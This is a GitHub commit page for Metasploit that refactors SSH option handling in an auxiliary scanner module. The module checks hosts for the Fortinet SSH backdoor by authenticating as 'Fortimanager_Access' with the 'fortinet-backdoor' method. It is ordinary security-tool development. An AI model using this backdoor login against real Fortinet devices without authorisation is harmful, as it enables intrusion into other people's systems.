Skip to content

Commit

Permalink
Land rapid7#6612, missing commits included
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu committed Feb 29, 2016
2 parents 2950996 + 300fdc8 commit a6a37b3
Showing 1 changed file with 9 additions and 4 deletions.
13 changes: 9 additions & 4 deletions modules/auxiliary/scanner/ssh/fortinet_backdoor.rb
Original file line number Diff line number Diff line change
Expand Up @@ -36,20 +36,25 @@ def initialize(info = {})
])

register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end

def run_host(ip)
ssh_opts = {
port: datastore['RPORT'],
auth_methods: ['fortinet-backdoor']
}

ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(
ip,
'Fortimanager_Access',
port: datastore['RPORT'],
auth_methods: ['fortinet-backdoor'],
verbose: datastore['SSH_DEBUG'] ? :debug : nil
ssh_opts
)
end
rescue Net::SSH::Exception => e
Expand Down

0 comments on commit a6a37b3

Please sign in to comment.